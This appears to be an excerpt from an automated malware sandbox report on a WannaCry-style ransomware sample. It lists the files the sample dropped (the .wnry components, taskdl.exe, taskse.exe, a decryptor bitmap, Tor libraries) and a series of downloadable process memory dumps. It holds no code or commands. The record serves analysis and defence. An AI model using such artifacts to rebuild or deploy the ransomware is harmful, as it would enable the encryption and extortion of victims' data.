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C:\Users\Admin\AppData\Local\Temp\r.wnry

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C:\Users\Admin\AppData\Local\Temp\s.wnry

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C:\Users\Admin\AppData\Local\Temp\t.wnry

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\u.wnry

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C:\Users\Admin\Desktop\@WanaDecryptor@.bmp

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\ssleay32.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll

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memory/408-632-0x0000000000000000-mapping.dmp

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memory/644-54-0x0000000000000000-mapping.dmp

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memory/644-367-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-70-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-71-0x0000000003F40000-0x0000000003F41000-memory.dmp

Filesize
4KB

Download
memory/644-72-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-422-0x0000000003C50000-0x0000000003C51000-memory.dmp

Filesize
4KB

Download
memory/644-400-0x0000000003C50000-0x0000000003C51000-memory.dmp

Filesize
4KB

Download
memory/644-399-0x0000000004450000-0x0000000004451000-memory.dmp

Filesize
4KB

Download
memory/644-398-0x0000000003C50000-0x0000000003C51000-memory.dmp

Filesize
4KB

Download
memory/644-194-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-335-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-236-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/644-235-0x0000000003F40000-0x0000000003F41000-memory.dmp

Filesize
4KB

Download
memory/644-234-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/964-574-0x0000000000000000-mapping.dmp

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memory/980-51-0x0000000000000000-mapping.dmp

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memory/980-50-0x0000000000000000-mapping.dmp

Download
memory/1220-575-0x0000000000000000-mapping.dmp

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memory/1800-576-0x0000000000000000-mapping.dmp

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memory/1884-577-0x0000000000000000-mapping.dmp

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memory/2092-48-0x0000000000000000-mapping.dmp

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memory/2160-579-0x0000000000000000-mapping.dmp

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memory/2368-581-0x0000000000000000-mapping.dmp

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memory/2592-595-0x0000000000000000-mapping.dmp

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memory/2652-594-0x0000000000000000-mapping.dmp

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memory/2668-593-0x0000000000000000-mapping.dmp

Download
memory/2668-584-0x0000000000000000-mapping.dmp

Download
memory/2920-4-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/2924-578-0x0000000000000000-mapping.dmp

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memory/3032-47-0x0000000000000000-mapping.dmp

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memory/3112-0-0x0000000000000000-mapping.dmp

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memory/3164-41-0x0000000000000000-mapping.dmp

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memory/3344-589-0x0000000000000000-mapping.dmp

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memory/3348-590-0x0000000000000000-mapping.dmp

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memory/3520-39-0x0000000000000000-mapping.dmp

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memory/3584-1-0x0000000000000000-mapping.dmp

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memory/3748-587-0x0000000000000000-mapping.dmp

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memory/3828-629-0x0000000000000000-mapping.dmp

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memory/3936-628-0x0000000000000000-mapping.dmp

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memory/3968-43-0x0000000000000000-mapping.dmp

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